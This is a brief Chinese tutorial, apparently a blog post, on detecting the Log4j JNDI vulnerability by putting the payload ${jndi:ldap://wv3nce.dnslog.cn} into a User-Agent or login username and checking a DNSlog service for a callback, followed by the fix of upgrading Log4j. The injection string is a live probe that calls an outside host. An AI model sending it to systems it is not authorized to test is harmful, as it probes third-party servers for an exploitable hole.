访问DNSlog网站 获取一个测试域名 DNSLog Platform
如果有服务器访问这个测试域名wv3nce.dnslog.cn，DNSlog 网站会留下记录
在网站或者app端 使用恶意负载 ${jndi:ldap://wv3nce.dnslog.cn}在UA或者用户名登录 查看DNSLog，是否有记录，如果有记录说明服务器端有漏洞
修补方法 升级到Log4j-2.15.0-rc2
扫一扫
评论
被折叠的 条评论
为什么被折叠?
到【灌水乐园】发言
查看更多评论
添加红包
